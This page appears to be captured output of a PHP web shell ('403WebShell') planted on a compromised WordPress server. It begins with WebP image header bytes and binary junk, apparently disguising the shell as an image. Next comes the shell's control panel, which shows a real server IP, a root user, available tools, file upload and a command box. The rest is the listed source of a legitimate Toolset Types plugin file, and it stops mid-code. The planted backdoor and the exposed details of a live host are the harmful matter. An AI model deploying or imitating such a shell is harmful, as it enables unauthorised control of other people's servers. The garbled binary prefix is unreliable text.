RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bedpe/wp-content/plugins/types/vendor/toolset/types/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bedpe/wp-content/plugins/types/vendor/toolset/types/includes/ajax.php
<?php

/**
 * With Toolset Dashboard we need the ability to redirect back to the Dashboard if the user came from the Dashboard
 * for this we introduced the wpcf_ref parameter
 *
 * @return array
 * @since 2.1
 */
function wpcf_ajax_group_delete_redirect() {

    // on group edit page
    if( isset( $_GET['wpcf_ref'] ) ) {

        $group_type = get_post_type( $_GET['group_id'] );

        if( $_GET['wpcf_ref'] == 'dashboard' ) {
            $redirect = admin_url( 'admin.php?page=toolset-dashboard' );
        } else {
            switch( $group_type ) {
                case 'wp-types-group':
                    $redirect = admin_url( 'admin.php?page=wpcf-cf' );
                    break;
                case 'wp-types-term-group':
                    $redirect = admin_url( 'admin.php?page=wpcf-termmeta-listing' );
                    break;
                case 'wp-types-user-group':
                    $redirect = admin_url( 'admin.php?page=wpcf-um' );
                    break;
            }
        }

        return array(
                'output'                   => '',
                'execute'                  => 'redirect',
                'wpcf_redirect'            => $redirect,
                'wpcf_nonce_ajax_callback' => wp_create_nonce( 'execute' ),
            );
    // on listing page
    } else {
        return array(
            'output' => '',
            'execute' => 'reload',
            'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
        );
    }
}

/**
 * All AJAX calls go here.
 *
 * @global object $wpdb
 * @param bool $fallthrough If this is true, we won't die() at the end of this method.
 *
 * @return bool Fallthrough value
 */
function wpcf_ajax( $fallthrough )
{
    /**
     * check nounce
     */
    if ( !(isset($_REQUEST['_wpnonce']) && wp_verify_nonce($_REQUEST['_wpnonce'], $_REQUEST['wpcf_action']))) {
        if( $fallthrough ) {
        	return true;
		} else {
			die();
		}
    }
    require_once WPCF_INC_ABSPATH.'/classes/class.wpcf.roles.php';

	// We need to require this file manually because this runs before the autoloader is registered.
	require_once TYPES_ABSPATH . '/application/controllers/utils/post_type_option.php';
	$post_type_option = new Types_Utils_Post_Type_Option();

    /**
     * check permissions
     */
    switch ($_REQUEST['wpcf_action']) {
    case 'deactivate_post_type':
    case 'activate_post_type':
    case 'delete_post_type':
    case 'duplicate_post_type':
        $post_type = wpcf_ajax_helper_get_post_type();
        if ( empty($post_type) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        if ( !WPCF_Roles::user_can_edit_custom_post_by_slug($post_type)) {
            wpcf_ajax_helper_verification_failed_and_die();
        }
        break;
    case 'taxonomy_duplicate':
    case 'deactivate_taxonomy':
    case 'activate_taxonomy':
    case 'delete_taxonomy':
        $custom_taxonomy = wpcf_ajax_helper_get_taxonomy();
        if ( empty($custom_taxonomy) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        if ( !WPCF_Roles::user_can_edit_custom_taxonomy_by_slug($custom_taxonomy)) {
            wpcf_ajax_helper_verification_failed_and_die();
        }
        break;
    case 'deactivate_group':
    case 'activate_group':
    case 'delete_group':
        if (!isset($_GET['group_id']) || empty($_GET['group_id'])) {
            wpcf_ajax_helper_print_error_and_die();
        }
        if ( !WPCF_Roles::user_can_edit_custom_field_group_by_id($_GET['group_id'])) {
            wpcf_ajax_helper_verification_failed_and_die();
        }
        break;
    case 'deactivate_user_group':
    case 'activate_user_group':
    case 'delete_usermeta_group':
        if (!isset($_GET['group_id']) || empty($_GET['group_id'])) {
            wpcf_ajax_helper_print_error_and_die();
        }
        if ( !WPCF_Roles::user_can_edit_usermeta_field_group_by_id($_GET['group_id'])) {
            wpcf_ajax_helper_verification_failed_and_die();
        }
        break;
    case 'deactivate_term_group':
    case 'activate_term_group':
    case 'delete_term_group':
	    if (!isset($_GET['group_id']) || empty($_GET['group_id'])) {
		    wpcf_ajax_helper_print_error_and_die();
	    }
	    if ( !WPCF_Roles::user_can_edit_term_field_group_by_id($_GET['group_id'])) {
		    wpcf_ajax_helper_verification_failed_and_die();
	    }
	    break;
    case 'usermeta_delete':
    case 'delete_usermeta':
    case 'remove_from_history2':
    case 'usermeta_insert_existing':
    case 'fields_insert':
    case 'fields_insert_existing':
    case 'remove_field_from_group':
    case 'add_radio_option':
    case 'add_select_option':
    case 'add_checkboxes_option':
    case 'group_form_collapsed':
    case 'form_fieldset_toggle':
    case 'fields_delete':
    case 'delete_field':
    case 'remove_from_history':
    case 'add_condition':
    case 'pt_edit_fields':
    case 'toggle':
    case 'cb_save_empty_migrate':
        if ( !current_user_can('manage_options') ) {
            wpcf_ajax_helper_verification_failed_and_die();
        }
        /**
         * do not check actions from other places
         */
        break;
    default:
        return;
    }

    /**
     * do actions
     */
    switch ($_REQUEST['wpcf_action']) {
        /* User meta actions*/

    case 'usermeta_delete':
    case 'delete_usermeta':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        if (isset($_GET['field_id'])) {
            $field_id = sanitize_text_field( $_GET['field_id'] );
            wpcf_admin_fields_delete_field($field_id,TYPES_USER_META_FIELD_GROUP_CPT_NAME,'wpcf-usermeta');
        }
        if (isset($_GET['field'])) {
            $field = sanitize_text_field( $_GET['field'] );
            wpcf_admin_fields_delete_field($field,TYPES_USER_META_FIELD_GROUP_CPT_NAME,'wpcf-usermeta');
        }
        wp_send_json(array(
            'output' => ''
        ));
        break;

    case 'remove_from_history2':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        $fields = wpcf_admin_fields_get_fields( true, true,false,'wpcf-usermeta');
        if (isset($_GET['field_id']) && isset($fields[$_GET['field_id']])) {
            $fields[$_GET['field_id']]['data']['removed_from_history'] = 1;
            wpcf_admin_fields_save_fields($fields, true, 'wpcf-usermeta');
        }
		wp_send_json(array(
            'output' => ''
        ));
        break;

    case 'deactivate_user_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_INC_ABSPATH . '/usermeta.php';
        $success = wpcf_admin_fields_deactivate_group(intval($_GET['group_id']), TYPES_USER_META_FIELD_GROUP_CPT_NAME);
        if ($success) {
			wp_send_json(
                array(
                    'output' => __('Group deactivated', 'wpcf'),
                    'execute' => 'reload',
                    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
                )
            );
        } else {
            wpcf_ajax_helper_print_error_and_die();
            die;
        }
        break;

    case 'activate_user_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_INC_ABSPATH . '/usermeta.php';
        $success = wpcf_admin_fields_activate_group(intval($_GET['group_id']), TYPES_USER_META_FIELD_GROUP_CPT_NAME);
        if ($success) {
			wp_send_json(
                array(
                    'output' => __('Group activated', 'wpcf'),
                    'execute' => 'reload',
                    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
                )
            );
        } else {
            wpcf_ajax_helper_print_error_and_die();
            die;
        }
        break;

    case 'delete_usermeta_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_INC_ABSPATH . '/usermeta.php';

        $redirect = wpcf_ajax_group_delete_redirect();

        wpcf_admin_fields_delete_group(intval($_GET['group_id']), TYPES_USER_META_FIELD_GROUP_CPT_NAME);
		wp_send_json( $redirect );

        break;

    case 'usermeta_insert_existing':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_INC_ABSPATH . '/fields-form.php';
        require_once WPCF_INC_ABSPATH . '/usermeta-form.php';
        wpcf_usermeta_insert_existing_ajax();
        wpcf_form_render_js_validation();
        break;
        /* End Usertmeta actions*/

    case 'fields_insert':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_INC_ABSPATH . '/fields-form.php';
        wpcf_fields_insert_ajax();
        wpcf_form_render_js_validation();
        break;

    case 'fields_insert_existing':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        require_once WPCF_INC_ABSPATH . '/fields-form.php';
        wpcf_fields_insert_existing_ajax();
        wpcf_form_render_js_validation();
        break;

    case 'remove_field_from_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        if (isset($_GET['group_id']) && isset($_GET['field_id'])) {
            wpcf_admin_fields_remove_field_from_group(intval($_GET['group_id']),
                sanitize_text_field($_GET['field_id']));
        }
        break;

    case 'deactivate_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        $success = wpcf_admin_fields_deactivate_group(intval($_GET['group_id']));
        if ($success) {
			wp_send_json(
                array(
                    'output' => __('Group deactivated', 'wpcf'),
                    'execute' => 'reload',
                    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
                )
            );
        } else {
            wpcf_ajax_helper_print_error_and_die();
        }
        break;

    case 'activate_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';
        $success = wpcf_admin_fields_activate_group(intval($_GET['group_id']));
        if ($success) {
			wp_send_json(
                array(
                    'output' => __('Group activated', 'wpcf'),
                    'execute' => 'reload',
                    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
                )
            );
        } else {
            wpcf_ajax_helper_print_error_and_die();
        }
        break;

    case 'delete_group':
        require_once WPCF_INC_ABSPATH . '/fields.php';

        $redirect = wpcf_ajax_group_delete_redirect();
        wpcf_admin_fields_delete_group(intval($_GET['group_id']));

		wp_send_json( $redirect );
        break;

	    case 'deactivate_term_group':
		    require_once WPCF_INC_ABSPATH . '/fields.php';
		    $success = wpcf_admin_fields_deactivate_group(intval($_GET['group_id']), Toolset_Field_Group_Term::POST_TYPE);
		    if ($success) {
				wp_send_json(
				    array(
					    'output' => __('Group deactivated', 'wpcf'),
					    'execute' => 'reload',
					    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
				    )
			    );
		    } else {
			    wpcf_ajax_helper_print_error_and_die();
		    }
		    break;

	    case 'activate_term_group':
		    require_once WPCF_INC_ABSPATH . '/fields.php';
		    $success = wpcf_admin_fields_activate_group(intval($_GET['group_id']), Toolset_Field_Group_Term::POST_TYPE);
		    if ($success) {
				wp_send_json(
				    array(
					    'output' => __('Group activated', 'wpcf'),
					    'execute' => 'reload',
					    'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
				    )
			    );
		    } else {
			    wpcf_ajax_helper_print_error_and_die();
		    }
		    break;

	    case 'delete_term_group':
		    require_once WPCF_INC_ABSPATH . '/fields.php';

            $redirect = wpcf_ajax_group_delete_redirect();
		    wpcf_admin_fields_delete_group(intval($_GET['group_id']), Toolset_Field_Group_Term::POST_TYPE);

			wp_send_json( $redirect );

		    break;

	    case 'deactivate_post_type':
        $post_type = wpcf_ajax_helper_get_post_type();
        if ( empty($post_type) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $custom_types = $post_type_option->get_post_types();
        $custom_types[$post_type]['disabled'] = 1;
        $custom_types[$post_type][TOOLSET_EDIT_LAST] = time();
        update_option(WPCF_OPTION_NAME_CUSTOM_TYPES, $custom_types);
			wp_send_json(
            array(
                'output' => __('Post Type deactivated', 'wpcf'),
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            )
        );
        break;

    case 'activate_post_type':
        $post_type = wpcf_ajax_helper_get_post_type();
        if ( empty($post_type) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $custom_types = $post_type_option->get_post_types();
        unset($custom_types[$post_type]['disabled']);
        $custom_types[$post_type][TOOLSET_EDIT_LAST] = time();
        update_option(WPCF_OPTION_NAME_CUSTOM_TYPES, $custom_types);
		wp_send_json(
            array (
                'output' => __('Post Type activated', 'wpcf'),
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            )
        );
        break;

    case 'delete_post_type':
        $post_type = wpcf_ajax_helper_get_post_type();
        if ( empty($post_type) ) {
            wpcf_ajax_helper_print_error_and_die();
        }
        $post_types = $post_type_option->get_post_types();

        /**
         * Delete relation between custom posts types
         *
         * Filter allow to delete all custom fields used to make
         * a relation between posts.
         *
         * @since 1.6.4
         *
         * @param bool   $delete True or false flag to delete relationships.
         * @param string $var Currently deleted post type.
         */
        if ( apply_filters('wpcf_delete_relation_meta', false, $post_type) ) {
            global $wpdb;
            $wpdb->delete(
                $wpdb->postmeta,
                array( 'meta_key' => sprintf( '_wpcf_belongs_%s_id', $post_type ) ),
                array( '%s' )
            );
        }

        unset($post_types[$post_type]);
        /**
         * remove post relation
         */
        foreach ( array_keys($post_types) as $post_type ) {
            if ( array_key_exists( 'post_relationship', $post_types[$post_type] ) ) {
                /**
                 * remove "has" relation
                 */
                if (
                    array_key_exists( 'has', $post_types[$post_type]['post_relationship'] )
                    && array_key_exists( $post_type, $post_types[$post_type]['post_relationship']['has'] )
                ) {
                    unset($post_types[$post_type]['post_relationship']['has'][$post_type]);
                    $post_types[$post_type][TOOLSET_EDIT_LAST] = time();
                }
                /**
                 * remove "belongs" relation
                 */
                if (
                    array_key_exists( 'belongs', $post_types[$post_type]['post_relationship'] )
                    && array_key_exists( $post_type, $post_types[$post_type]['post_relationship']['belongs'] )
                ) {
                    unset($post_types[$post_type]['post_relationship']['belongs'][$post_type]);
                    $post_types[$post_type][TOOLSET_EDIT_LAST] = time();
                }
            }
        }
        update_option(WPCF_OPTION_NAME_CUSTOM_TYPES, $post_types);
        wpcf_admin_deactivate_content('post_type', $post_type);
		wp_send_json(
            array(
                'output' => '',
                'execute' => 'reload',
                'wpcf_nonce_ajax_callback' => wp_create_nonce('execute'),
            )
        );
        break;

    case 'duplicate_post_type':
        $post_type = wpcf_ajax_helper_get_post_type();
        if ( empty($post_type) ) {
            wpcf_ajax_helper_print_error_and_die();
        }

        $post_types = $post_type_option->get_post_types();

        $i = 0;
        $key = false;
        do {
            $key = sprintf($post_type.'-%d',++$i);
        } while( isset($post_types[$key]) );
        if ( $key ) {
            /**
             * duplicate post type
             */
            $post_types[$key] = $post_types[$post_type];
            /**
             * update some options
             */
            $post_types[$key]['labels']['name'] .= sprintf(' (%d)', $i);
            $post_types[$key]['labels']['singular_name'] .= sprintf(' (%d)', $i);
            $post_types[$key]['slug'] = $key;
            $post_types[$key]['__types_id'] = $key;

            /**
             * update post types
             */
            update_option(WPCF_OPTION_NAME_CUSTOM_TYPES, $post_types);

            /**
             * update custom taxonomies too
             */
            $custom_taxonomies = get_option(WPCF_OPTION_NAME_CUSTOM_TAXONOMIES, array());
            foreach( $custom_taxonomies as $taxonomy_key => $taxonomy_data) {
                if (
                    isset( $taxonomy_data['supports']) 
